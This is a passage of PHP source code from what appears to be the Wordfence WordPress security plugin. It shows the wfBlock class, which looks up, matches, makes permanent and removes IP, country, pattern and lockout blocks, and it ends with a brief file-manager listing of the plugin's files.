				foreach ($components as $c) {
					if (empty($c) || $c == '*') {
						$matchValue .= '\d+';
					}
					else {
						$matchValue .= (int) $c;
					}
					
					$matchValue .= '\.';
				}
				$matchValue = substr($matchValue, 0, -2);
				$matchValue .= '$';
			}
		}
		
		if (empty($matchType) && preg_match('/^(?:[0-9a-f]+\:)(?:[0-9a-f]+\:|\*){1,2}(?:[0-9a-f]+|\*)?$/i', $filter)) { //e.g., possible wildcard IPv6 like ffe0:*
			$components = explode(':', $filter);
			$matchType = 'ipregex';
			$matchValue = '^';
			for ($i = 0; $i < 4; $i++) {
				if (isset($components[$i])) {
					$matchValue .= strtoupper(str_pad(dechex($components[$i]), 4, '0', STR_PAD_LEFT));
				}
				else {
					$matchValue .= '[0-9a-f]{4}';
				}
				$matchValue .= ':';
			}
			$matchValue = substr($matchValue, 0, -1);
			$matchValue .= '$';
		}
		
		if (empty($matchType)) {
			$matchType = 'literal';
			$matchValue = $filter;
		}
		
		$offsetProcessed = 0;
		$limitProcessed = 0;
		
		$returnBlocks = array();
		for ($i = 0; true; $i += WORDFENCE_BLOCKED_IPS_PER_PAGE) {
			$blocks = wfBlock::allBlocks(true, $ofTypes, $i, WORDFENCE_BLOCKED_IPS_PER_PAGE, $sortColumn, $sortDirection);
			if (empty($blocks)) {
				break;
			}
			
			foreach ($blocks as $b) {
				$include = false;
				
				if (stripos($b->reason, $filter) !== false) {
					$include = true;
				}
				
				if (!$include && $b->type == self::TYPE_PATTERN) {
					if (stripos($b->hostname, $filter) !== false) { $include = true; }
					else if (stripos($b->userAgent, $filter) !== false) { $include = true; }
					else if (stripos($b->referrer, $filter) !== false) { $include = true; }
					else if (stripos($b->ipRange, $filter) !== false) { $include = true; }
				}
				
				if (!$include && stripos(self::nameForType($b->type), $filter) !== false) {
					$include = true;
				}
				
				if (!$include) {
					switch ($matchType) {
						case 'ip':
							if ($b->matchRequest($matchValue, '', '') != self::MATCH_NONE) {
								$include = true;
							}
							else if ($b->type == self::TYPE_LOCKOUT && wfUtils::inet_pton($matchValue) == wfUtils::inet_pton($b->ip)) {
								$include = true;
							}
							break;
						case 'ipregex':
							if (preg_match('/' . $matchValue . '/i', $b->ip)) {
								$include = true;
							}
							break;
						case 'literal':
							//Already checked above
							break;
					}
				}
				
				if ($include) {
					if ($offsetProcessed < $offset) { //Still searching for the start offset
						$offsetProcessed++;
						continue;
					}
					
					$returnBlocks[] = $b;
					$limitProcessed++;
				}
				
				if ($limit != -1 && $limitProcessed >= $limit) {
					return $returnBlocks;
				}
			}
		}
		
		return $returnBlocks;
	}
	
	/**
	 * Returns all unexpired blocks of types wfBlock::TYPE_IP_MANUAL, wfBlock::TYPE_IP_AUTOMATIC_TEMPORARY, wfBlock::TYPE_IP_AUTOMATIC_PERMANENT, wfBlock::TYPE_WFSN_TEMPORARY, wfBlock::TYPE_RATE_BLOCK, and wfBlock::TYPE_RATE_THROTTLE.
	 *
	 * @param bool $prefetch If true, the full data for the block is fetched rather than using lazy loading.
	 * @return wfBlock[]
	 */
	public static function ipBlocks($prefetch = false) {
		return self::allBlocks($prefetch, array(self::TYPE_IP_MANUAL, self::TYPE_IP_AUTOMATIC_TEMPORARY, self::TYPE_IP_AUTOMATIC_PERMANENT, self::TYPE_WFSN_TEMPORARY, self::TYPE_RATE_BLOCK, self::TYPE_RATE_THROTTLE));
	}
	
	/**
	 * Finds an IP block matching the given IP, returning it if found. Returns false if none are found.
	 * 
	 * @param string $ip
	 * @return bool|wfBlock
	 */
	public static function findIPBlock($ip) {
		global $wpdb;
		$blocksTable = wfBlock::blocksTable();
		
		$ipHex = wfDB::binaryValueToSQLHex(wfUtils::inet_pton($ip));
		
		$query = "SELECT * FROM `{$blocksTable}` WHERE ";
		
		$ofTypes = array(self::TYPE_IP_MANUAL, self::TYPE_IP_AUTOMATIC_TEMPORARY, self::TYPE_IP_AUTOMATIC_PERMANENT, self::TYPE_WFSN_TEMPORARY, self::TYPE_RATE_BLOCK, self::TYPE_RATE_THROTTLE);
		$query .= "`type` IN (" . implode(', ', $ofTypes) . ') AND ';
		$query .= "`IP` = {$ipHex} AND ";
		$query .= '(`expiration` = ' . self::DURATION_FOREVER . ' OR `expiration` > UNIX_TIMESTAMP()) ORDER BY `blockedTime` DESC LIMIT 1';
		
		$r = $wpdb->get_row($query, ARRAY_A);
		if (is_array($r)) {
			$ip = wfUtils::inet_ntop($r['IP']);
			return self::_recordFromRow($r);
		}
		return false;
	}
	
	/**
	 * Returns all unexpired blocks of type wfBlock::TYPE_COUNTRY.
	 *
	 * @param bool $prefetch If true, the full data for the block is fetched rather than using lazy loading.
	 * @return wfBlock[]
	 */
	public static function countryBlocks($prefetch = false) {
		return self::allBlocks($prefetch, array(self::TYPE_COUNTRY));
	}
	
	/**
	 * Returns whether or not there is a country block rule.
	 * 
	 * @return bool
	 */
	public static function hasCountryBlock() {
		$countryBlocks = self::countryBlocks();
		return !empty($countryBlocks);
	}
	
	/**
	 * Returns the value for the country blocking bypass cookie.
	 *
	 * @return string
	 */
	public static function countryBlockingBypassCookieValue() {
		$val = wfConfig::get('cbl_cookieVal', false);
		if (!$val) {
			$val = uniqid();
			wfConfig::set('cbl_cookieVal', $val);
		}
		return $val;
	}
	
	/**
	 * Returns all unexpired blocks of type wfBlock::TYPE_PATTERN.
	 * 
	 * @param bool $prefetch If true, the full data for the block is fetched rather than using lazy loading.
	 * @return wfBlock[]
	 */
	public static function patternBlocks($prefetch = false) {
		return self::allBlocks($prefetch, array(self::TYPE_PATTERN));
	}
	
	/**
	 * Returns all unexpired lockouts (type wfBlock::TYPE_LOCKOUT).
	 *
	 * @param bool $prefetch If true, the full data for the block is fetched rather than using lazy loading.
	 * @return wfBlock[]
	 */
	public static function lockouts($prefetch = false) {
		return self::allBlocks($prefetch, array(self::TYPE_LOCKOUT));
	}
	
	/**
	 * Returns the lockout record for the given IP if it exists.
	 * 
	 * @param string $ip
	 * @return bool|wfBlock
	 */
	public static function lockoutForIP($ip) {
		global $wpdb;
		$blocksTable = wfBlock::blocksTable();
		$ipHex = wfDB::binaryValueToSQLHex(wfUtils::inet_pton($ip));
		
		$row = $wpdb->get_row($wpdb->prepare("SELECT * FROM `{$blocksTable}` WHERE `IP` = {$ipHex} AND `type` = %d AND (`expiration` = %d OR `expiration` > UNIX_TIMESTAMP())",  self::TYPE_LOCKOUT, self::DURATION_FOREVER), ARRAY_A);
		if ($row) {
			return self::_recordFromRow($row);
		}
		
		return false;
	}
	
	/**
	 * Removes all blocks whose ID is in the given array.
	 * 
	 * @param array $blockIDs
	 * @param bool $retrieve if true, fetch and return the deleted rows
	 * @param bool $notify Whether or not to broadcast the deletion action (should only do when this is called in response to a manual action)
	 * @return bool|array true(or an array of blocks, if $retrieve is specified) or false on failure
	 */
	public static function removeBlockIDs($blockIDs, $retrieve = false, $notify = true) {
		$blockIDs = array_map('intval', $blockIDs);
		$blocks = self::_recordsFromRows($blockIDs);
		$result = self::removeMultiple($blocks, $notify);
		if ($retrieve && $result) {
			return $result;
		}
		
		return !!$result;
	}
	
	/**
	 * Removes all IP blocks (i.e., manual, wfsn, or rate limited)
	 *
	 * @param bool $notify Whether or not to broadcast the deletion action (should only do when this is called in response to a manual action)
	 */
	public static function removeAllIPBlocks($notify = true) {
		global $wpdb;
		$blocksTable = wfBlock::blocksTable();
		$rows = $wpdb->get_results("SELECT * FROM `{$blocksTable}` WHERE `type` IN (" . implode(', ', array(self::TYPE_IP_MANUAL, self::TYPE_IP_AUTOMATIC_TEMPORARY, self::TYPE_IP_AUTOMATIC_PERMANENT, self::TYPE_WFSN_TEMPORARY, self::TYPE_RATE_BLOCK, self::TYPE_RATE_THROTTLE, self::TYPE_LOCKOUT)) . ")", ARRAY_A);
		$blocks = self::_recordsFromRows($rows);
		self::removeMultiple($blocks, $notify);
	}
	
	/**
	 * Removes all country blocks
	 *
	 * @param bool $notify Whether or not to broadcast the deletion action (should only do when this is called in response to a manual action)
	 */
	public static function removeAllCountryBlocks($notify = true) {
		global $wpdb;
		$blocksTable = wfBlock::blocksTable();
		$rows = $wpdb->get_results("SELECT * FROM `{$blocksTable}` WHERE `type` IN (" . implode(', ', array(self::TYPE_COUNTRY)) . ")", ARRAY_A);
		$blocks = self::_recordsFromRows($rows);
		self::removeMultiple($blocks, $notify);
	}
	
	/**
	 * Removes all blocks that were created by WFSN responses.
	 * 
	 * Note: if this ever becomes called by a manual user action, it should be refactored to call 
	 * self::removeMultiple() in order to dispatch the relevant event.
	 */
	public static function removeTemporaryWFSNBlocks() {
		global $wpdb;
		$blocksTable = wfBlock::blocksTable();
		$wpdb->query($wpdb->prepare("DELETE FROM `{$blocksTable}` WHERE `type` = %d", self::TYPE_WFSN_TEMPORARY));
	}
	
	/**
	 * Converts all blocks to non-expiring whose ID is in the given array.
	 * 
	 * @param array $blockIDs
	 */
	public static function makePermanentBlockIDs($blockIDs) {
		global $wpdb;
		$blocksTable = wfBlock::blocksTable();
		
		//TODO: revise this if we support user-customizable durations
		$supportedTypes = array(
			self::TYPE_WFSN_TEMPORARY,
			self::TYPE_RATE_BLOCK,
			self::TYPE_RATE_THROTTLE,
			self::TYPE_LOCKOUT,
			self::TYPE_IP_AUTOMATIC_TEMPORARY,
		);
		
		$blockIDs = array_map('intval', $blockIDs);
		$query = $wpdb->prepare("UPDATE `{$blocksTable}` SET `expiration` = %d, `type` = %d WHERE `id` IN (" . implode(', ', $blockIDs) . ") AND `type` IN (" . implode(', ', $supportedTypes) . ") AND (`expiration` > UNIX_TIMESTAMP())", self::DURATION_FOREVER, self::TYPE_IP_AUTOMATIC_PERMANENT);
		$wpdb->query($query);
		
		$supportedTypes = array(
			self::TYPE_IP_MANUAL,
		);
		
		$blockIDs = array_map('intval', $blockIDs);
		$query = $wpdb->prepare("UPDATE `{$blocksTable}` SET `expiration` = %d, `type` = %d WHERE `id` IN (" . implode(', ', $blockIDs) . ") AND `type` IN (" . implode(', ', $supportedTypes) . ") AND (`expiration` > UNIX_TIMESTAMP())", self::DURATION_FOREVER, self::TYPE_IP_MANUAL);
		$wpdb->query($query);
	}
	
	/**
	 * Removes all specific IP blocks and lockouts that can result in the given IP being blocked.
	 * 
	 * @param string $ip
	 * @param bool $notify Whether or not to broadcast the deletion action (should only do when this is called in response to a manual action)
	 */
	public static function unblockIP($ip, $notify = true) {
		global $wpdb;
		$blocksTable = wfBlock::blocksTable();
		$ipHex = wfDB::binaryValueToSQLHex(wfUtils::inet_pton($ip));
		$rows = $wpdb->get_results("SELECT * FROM `{$blocksTable}` WHERE `IP` = {$ipHex}", ARRAY_A);
		$blocks = self::_recordsFromRows($rows);
		self::removeMultiple($blocks, $notify);
	}
	
	/**
	 * Removes all lockouts that can result in the given IP being blocked.
	 *
	 * @param string $ip
	 * @param bool $notify Whether or not to broadcast the deletion action (should only do when this is called in response to a manual action)
	 */
	public static function unlockOutIP($ip, $notify = true) {
		global $wpdb;
		$blocksTable = wfBlock::blocksTable();
		$ipHex = wfDB::binaryValueToSQLHex(wfUtils::inet_pton($ip));
		$rows = $wpdb->get_results($wpdb->prepare("SELECT * FROM `{$blocksTable}` WHERE `IP` = {$ipHex} AND `type` = %d", self::TYPE_LOCKOUT), ARRAY_A);
		$blocks = self::_recordsFromRows($rows);
		self::removeMultiple($blocks, $notify);
	}
	
	/**
	 * Internal function to convert a raw query row result into a populated wfBlock instance. $row is expected to be an
	 * associative array.
	 * 
	 * @param array $row
	 * @return mixed
	 */
	private static function _recordFromRow($row) {
		$records = self::_recordsFromRows(array($row));
		return $records[0];
	}
	
	/**
	 * Internal function to convert an array of raw query row results to an array of populated wfBlock instances. $rows
	 * is expected to be an array of integer IDs or an array of associative arrays.
	 * 
	 * @param array[]|int[] $rows
	 * @return array
	 */
	private static function _recordsFromRows($rows) {
		$records = array();
		foreach ($rows as $r) {
			if ($r instanceof stdClass) {
				$r = (array) $r;
			}
			
			if (is_array($r)) {
				$b = new wfBlock($r['id']);
				$b->_populateData($r);
			}
			else {
				$b = new wfBlock($r);
			}
			$records[] = $b;
		}
		return $records;
	}
	
	/**
	 * Constructs a wfBlock instance. This _does not_ create a new record in the table, only fetches or updates an existing one.
	 * 
	 * @param $id
	 * @param bool $type
	 * @param bool $ip
	 * @param bool $blockedTime
	 * @param bool $reason
	 * @param bool $lastAttempt
	 * @param bool $blockedHits
	 * @param bool $expiration
	 * @param bool $parameters
	 */
	public function __construct($id, $type = false, $ip = false, $blockedTime = false, $reason = false, $lastAttempt = false, $blockedHits = false, $expiration = false, $parameters = false) {
		$this->_id = $id;
		$this->_type = $type;
		$this->_ip = $ip;
		$this->_blockedTime = $blockedTime;
		$this->_reason = $reason;
		$this->_lastAttempt = $lastAttempt;
		$this->_blockedHits = $blockedHits;
		$this->_expiration = $expiration;
		$this->_parameters = $parameters;
	}
	
	public function __get($key) {
		switch ($key) {
			case 'id':
				return $this->_id;
			case 'type':
				if ($this->_type === false) { $this->_fetch(); }
				return $this->_type;
			case 'IP':
			case 'ip':
				if ($this->_type === false) { $this->_fetch(); }
				return $this->_ip;
			case 'blockedTime':
				if ($this->_type === false) { $this->_fetch(); }
				return $this->_blockedTime;
			case 'reason':
				if ($this->_type === false) { $this->_fetch(); }
				return $this->_reason;
			case 'lastAttempt':
				if ($this->_type === false) { $this->_fetch(); }
				return $this->_lastAttempt;
			case 'blockedHits':
				if ($this->_type === false) { $this->_fetch(); }
				return $this->_blockedHits;
			case 'expiration':
				if ($this->_type === false) { $this->_fetch(); }
				return $this->_expiration;
			case 'parameters':
				if ($this->_type === false) { $this->_fetch(); }
				return $this->_parameters;
				
			//Country
			case 'blockLogin':
				if ($this->type != self::TYPE_COUNTRY) { throw new OutOfBoundsException("{$key} is not a valid property for this block type"); }
				return $this->parameters['blockLogin'];
			case 'blockSite':
				if ($this->type != self::TYPE_COUNTRY) { throw new OutOfBoundsException("{$key} is not a valid property for this block type"); }
				return $this->parameters['blockSite'];
			case 'countries':
				if ($this->type != self::TYPE_COUNTRY) { throw new OutOfBoundsException("{$key} is not a valid property for this block type"); }
				return $this->parameters['countries'];
				
			//Pattern
			case 'ipRange':
				if ($this->type != self::TYPE_PATTERN) { throw new OutOfBoundsException("{$key} is not a valid property for this block type"); }
				return $this->parameters['ipRange'];
			case 'hostname':
				if ($this->type != self::TYPE_PATTERN) { throw new OutOfBoundsException("{$key} is not a valid property for this block type"); }
				return $this->parameters['hostname'];
			case 'userAgent':
				if ($this->type != self::TYPE_PATTERN) { throw new OutOfBoundsException("{$key} is not a valid property for this block type"); }
				return $this->parameters['userAgent'];
			case 'referrer':
				if ($this->type != self::TYPE_PATTERN) { throw new OutOfBoundsException("{$key} is not a valid property for this block type"); }
				return $this->parameters['referrer'];
		}
		
		throw new OutOfBoundsException("{$key} is not a valid property");
	}
	
	public function __isset($key) {
		switch ($key) {
			case 'id':
			case 'type':
			case 'ip':
			case 'blockedTime':
			case 'reason':
			case 'lastAttempt':
			case 'blockedHits':
			case 'expiration':
				return true;
			case 'parameters':
				if ($this->_type === false) { $this->_fetch(); }
				return !empty($this->_parameters);
			
			//Country
			case 'blockLogin':
				if ($this->type != self::TYPE_COUNTRY) { return false; }
				return !empty($this->parameters['blockLogin']);
			case 'blockSite':
				if ($this->type != self::TYPE_COUNTRY) { return false; }
				return !empty($this->parameters['blockSite']);
			case 'countries':
				if ($this->type != self::TYPE_COUNTRY) { return false; }
				return !empty($this->parameters['countries']);
			
			//Pattern
			case 'ipRange':
				if ($this->type != self::TYPE_PATTERN) { return false; }
				return !empty($this->parameters['ipRange']);
			case 'hostname':
				if ($this->type != self::TYPE_PATTERN) { return false; }
				return !empty($this->parameters['hostname']);
			case 'userAgent':
				if ($this->type != self::TYPE_PATTERN) { return false; }
				return !empty($this->parameters['userAgent']);
			case 'referrer':
				if ($this->type != self::TYPE_PATTERN) { return false; }
				return !empty($this->parameters['referrer']);
		}
		
		return false;
	}
	
	/**
	 * Fetches the record for the block from the database and populates the instance variables.
	 */
	private function _fetch() {
		global $wpdb;
		$blocksTable = wfBlock::blocksTable();
		$row = $wpdb->get_row($wpdb->prepare("SELECT * FROM `{$blocksTable}` WHERE `id` = %d", $this->id), ARRAY_A);
		if ($row !== null) {
			$this->_populateData($row);
		}
	}
	
	/**
	 * Populates the instance data from the given $row.
	 * 
	 * @param array $row
	 */
	private function _populateData($row) {
		$this->_type = $row['type'];
		
		$ip = $row['IP'];
		if ($ip == self::MARKER_COUNTRY || $ip == self::MARKER_PATTERN) {
			$this->_ip = null;
		}
		else {
			$this->_ip = wfUtils::inet_ntop($ip);
		}
		
		$this->_blockedTime = $row['blockedTime'];
		$this->_reason = $row['reason'];
		$this->_lastAttempt = $row['lastAttempt'];
		$this->_blockedHits = $row['blockedHits'];
		$this->_expiration = $row['expiration'];
		
		$parameters = $row['parameters'];
		if ($parameters === null) {
			$this->_parameters = null;
		}
		else {
			$this->_parameters = @json_decode($parameters, true);
			if (!is_array($this->_parameters)) { $this->_parameters = array(); }
		}
	}
	
	/**
	 * Tests the block parameters against the given request. If matched, this will return the corresponding wfBlock::MATCH_
	 * constant. If not, it will return wfBlock::MATCH_NONE.
	 * 
	 * @param $ip
	 * @param $userAgent
	 * @param $referrer
	 * @return int
	 */
	public function matchRequest($ip, $userAgent, $referrer) {
		switch ($this->type) {
			case self::TYPE_IP_MANUAL:
			case self::TYPE_IP_AUTOMATIC_TEMPORARY:
			case self::TYPE_IP_AUTOMATIC_PERMANENT:
			case self::TYPE_WFSN_TEMPORARY:
			case self::TYPE_RATE_BLOCK:
			case self::TYPE_RATE_THROTTLE:
				if (wfUtils::inet_pton($ip) == wfUtils::inet_pton($this->ip))
				{
					return self::MATCH_IP;
				}
				break;
			case self::TYPE_PATTERN:
				$match = (!empty($this->ipRange) || !empty($this->hostname) || !empty($this->userAgent) || !empty($this->referrer));
				if (!empty($this->ipRange)) {
					$range = new wfUserIPRange($this->ipRange);
					$match = $match && $range->isIPInRange($ip);
				}
				if (!empty($this->hostname)) {
					$hostname = wfUtils::reverseLookup($ip);
					$match = $match && preg_match(wfUtils::patternToRegex($this->hostname), $hostname);
				}
				if (!empty($this->userAgent)) {
					$match = $match && fnmatch($this->userAgent, $userAgent, FNM_CASEFOLD);
				}
				if (!empty($this->referrer)) {
					$match = $match && fnmatch($this->referrer, $referrer, FNM_CASEFOLD);
				}
				
				if ($match) {
					return self::MATCH_PATTERN;
				}
				
				break;
			case self::TYPE_COUNTRY:
				if (!wfConfig::get('isPaid')) {
					return self::MATCH_NONE;
				}
				
				//Bypass Redirect URL Hit
				$bareRequestURI = wfUtils::extractBareURI($_SERVER['REQUEST_URI']);
				$bareBypassRedirURI = wfUtils::extractBareURI(wfConfig::get('cbl_bypassRedirURL', ''));
				if ($bareBypassRedirURI && $bareRequestURI == $bareBypassRedirURI) {
					$bypassRedirDest = wfConfig::get('cbl_bypassRedirDest', '');
					if ($bypassRedirDest) {
						wfUtils::setcookie('wfCBLBypass', wfBlock::countryBlockingBypassCookieValue(), time() + (86400 * 365), '/', null, wfUtils::isFullSSL(), true);
						return self::MATCH_COUNTRY_REDIR_BYPASS;
					}
				}
				
				//Bypass View URL Hit
				$bareBypassViewURI = wfUtils::extractBareURI(wfConfig::get('cbl_bypassViewURL', ''));
				if ($bareBypassViewURI && $bareBypassViewURI == $bareRequestURI) {
					wfUtils::setcookie('wfCBLBypass', wfBlock::countryBlockingBypassCookieValue(), time() + (86400 * 365), '/', null, wfUtils::isFullSSL(), true);
					return self::MATCH_NONE;
				}
				
				//Early exit checks
				if ($this->_shouldBypassCountryBlocking()) { //Has valid bypass cookie
					return self::MATCH_NONE;
				}
				
				if ($this->blockLogin) {
					add_filter('authenticate', array($this, '_checkForBlockedCountryFilter'), 1, 1);
				}
				
				if (!$this->blockLogin && $this->_isAuthRequest()) { //Not blocking login and this is a login request
					return self::MATCH_NONE;
				}
				else if (!$this->blockSite && !$this->_isAuthRequest()) { //Not blocking site and this may be a site request
					return self::MATCH_NONE;
				}
				else if (is_user_logged_in() && !wfConfig::get('cbl_loggedInBlocked', false)) { //Not blocking logged in users and a login session exists
					return self::MATCH_NONE;
				}
				
				//Block everything
				if ($this->blockSite && $this->blockLogin) {
					return $this->_checkForBlockedCountry();
				}
				
				//Block the login form itself and any attempt to authenticate
				if ($this->blockLogin && $this->_isAuthRequest()) {
					return $this->_checkForBlockedCountry();
				}
				
				//Block requests that aren't to the login page, xmlrpc.php, or a user already logged in
				if ($this->blockSite && !$this->_isAuthRequest() && !defined('XMLRPC_REQUEST')) {
					return $this->_checkForBlockedCountry();
				}
				
				//XMLRPC is inaccesible when public portion of the site and auth is disabled
				if ($this->blockLogin && $this->blockSite && defined('XMLRPC_REQUEST')) {
					return $this->_checkForBlockedCountry();
				}
				
				break;
		}
		
		return self::MATCH_NONE;
	}
	
	/**
	 * Returns whether or not the current request should be treated as an auth request.
	 * 
	 * @return bool
	 */
	private function _isAuthRequest() {
		if ((strpos($_SERVER['REQUEST_URI'], '/wp-login.php') !== false)) {
			return true;
		}
		return false;
	}
	
	/**
	 * Tests whether or not the country blocking bypass cookie is set and valid.
	 * 
	 * @return bool
	 */
	private function _shouldBypassCountryBlocking() {
		if (isset($_COOKIE['wfCBLBypass']) && $_COOKIE['wfCBLBypass'] == wfBlock::countryBlockingBypassCookieValue()) {
			return true;
		}
		return false;
	}
	
	/**
	 * Checks the country block against the requesting IP, returning the action to take.
	 * 
	 * @return int
	 */
	private function _checkForBlockedCountry() {
		$blockedCountries = $this->countries;
		$bareRequestURI = untrailingslashit(wfUtils::extractBareURI($_SERVER['REQUEST_URI']));
		$IP = wfUtils::getIP();
		if ($country = wfUtils::IP2Country($IP)) {
			foreach ($blockedCountries as $blocked) {
				if (strtoupper($blocked) == strtoupper($country)) { //At this point we know the user has been blocked
					if (wfConfig::get('cbl_action') == 'redir') {
						$redirURL = wfConfig::get('cbl_redirURL');
						$eRedirHost = wfUtils::extractHostname($redirURL);
						$isExternalRedir = false;
						if ($eRedirHost && $eRedirHost != wfUtils::extractHostname(home_url())) { //It's an external redirect...
							$isExternalRedir = true;
						}
						
						if ((!$isExternalRedir) && untrailingslashit(wfUtils::extractBareURI($redirURL)) == $bareRequestURI) { //Is this the URI we want to redirect to, then don't block it
							return self::MATCH_NONE;
						}
						else {
							return self::MATCH_COUNTRY_REDIR;
						}
					}
					else {
						return self::MATCH_COUNTRY_BLOCK;
					}
				}
			}
		}
		
		return self::MATCH_NONE;
	}
	
	/**
	 * Filter hook for the country blocking check. Does nothing if not blocked, otherwise presents the block page and exits.
	 * 
	 * Note: Must remain `public` for callback to work.
	 */
	public function _checkForBlockedCountryFilter($user) {
		$block = $this->_checkForBlockedCountry();
		if ($block == self::MATCH_NONE) { 
			return $user;
		}
		
		$log = wfLog::shared();
		$log->getCurrentRequest()->actionDescription = __('blocked access via country blocking', 'wordfence');
		wfConfig::inc('totalCountryBlocked');
		wfActivityReport::logBlockedIP(wfUtils::getIP(), null, 'country');
		$log->do503(3600, __('Access from your area has been temporarily limited for security reasons', 'wordfence')); //exits
	}
	
	/**
	 * Adds $quantity to the blocked count and sets the timestamp for lastAttempt.
	 * 
	 * @param int $quantity
	 * @param bool|int $timestamp
	 */
	public function recordBlock($quantity = 1, $timestamp = false) {
		if ($timestamp === false) {
			$timestamp = time();
		}
		
		global $wpdb;
		$blocksTable = wfBlock::blocksTable();
		$wpdb->query($wpdb->prepare("UPDATE `{$blocksTable}` SET `blockedHits` = `blockedHits` + %d, `lastAttempt` = GREATEST(`lastAttempt`, %d) WHERE `id` = %d", $quantity, $timestamp, $this->id));
		$this->_type = false; //Trigger a re-fetch next access 
	}
	
	/**
	 * Returns an array suitable for JSON of the values needed to edit the block.
	 * 
	 * @return array
	 */
	public function editValues() {
		switch ($this->type) {
			case self::TYPE_COUNTRY:
				return array(
					'blockLogin' => wfUtils::truthyToInt($this->blockLogin),
					'blockSite' => wfUtils::truthyToInt($this->blockSite),
					'countries' => $this->countries,
					'reason' => $this->reason,
					'expiration' => $this->expiration,
				);
		}
		
		return array();
	}
	
	/**
	 * Removes this block record. May trigger an additional query to fetch the notification data if $notify is true and
	 * the record is ID-only.
	 * 
	 * @param bool $notify If true, will dispatch the `wordfence_deleted_block` action.
	 * @return null|wfBlock null if a failure occurs, otherwise the block
	 */
	public function remove($notify = false) {
		$result = self::removeMultiple(array($this), $notify);
		if (is_array($result)) {
			return $result[0];
		}
		return null;
	}
	
	/**
	 * Deletes the given block, optionally dispatching the `wordfence_deleted_block` action for each block. May trigger 
	 * an additional query to fetch the notification data if $notify is true and any record is ID-only.
	 * 
	 * @param wfBlock[] $blocks
	 * @param bool $notify If true, will dispatch the `wordfence_deleted_block` action.
	 * @return null|wfBlock[] null if a failure occurs, otherwise the blocks
	 */
	public static function removeMultiple($blocks, $notify = false) {
		if (empty($blocks)) { return array(); }
		
		global $wpdb;
		$blocksTable = wfBlock::blocksTable();
		
		$blockIDs = array_map(function($b) { return intval($b->id); }, $blocks);
		$inClause = implode(', ', $blockIDs);
		
		if ($notify) {
			$blockIDsToPopulate = array_filter(array_map(function($b) { return ($b->_type === false ? intval($b->id) : null); }, $blocks));
			if (!empty($blockIDsToPopulate)) {
				$populateInClause = implode(', ', $blockIDsToPopulate);
				$data = wfUtils::array_kmap(function($r) { return array($r['id'] => $r); }, $wpdb->get_results("SELECT * FROM `{$blocksTable}` WHERE `id` IN ({$populateInClause})", ARRAY_A));
				foreach ($blocks as $b) { /** @var wfBlock $b */
					if (isset($data[$b->id])) {
						$b->_populateData($data[$b->id]);
					}
				}
			}
		}
		
		$query = "DELETE FROM `{$blocksTable}` WHERE `id` IN (" . $inClause . ")";
		if ($wpdb->query($query) !== false) {
			$payload = array();
			if ($notify) {
				foreach ($blocks as $b) {
					$type = $b->type;
					$reason = $b->reason;
					$parameters = (($type != self::TYPE_COUNTRY && $type != self::TYPE_PATTERN) ? $b->ip : $b->parameters);
					
					/**
					 * Fires when a blocking rule is deleted by manual action.
					 *
					 * @since 8.0.0
					 *
					 * @param string $type The type of block.
					 * @param string $reason The reason of the block.
					 * @param array|null $parameters The parameters of the block if needed for disambiguation (e.g., the country block returns null because there is only one rule at most)
					 */
					do_action('wordfence_deleted_block', $type, $reason, $parameters);
				}
			}
			
			return $blocks;
		}
		
		return null;
	}
}

Filemanager

Name Type Size Permission Actions
wfBlock.php File 80.38 KB 0555
wfRateLimit.php File 23.72 KB 0555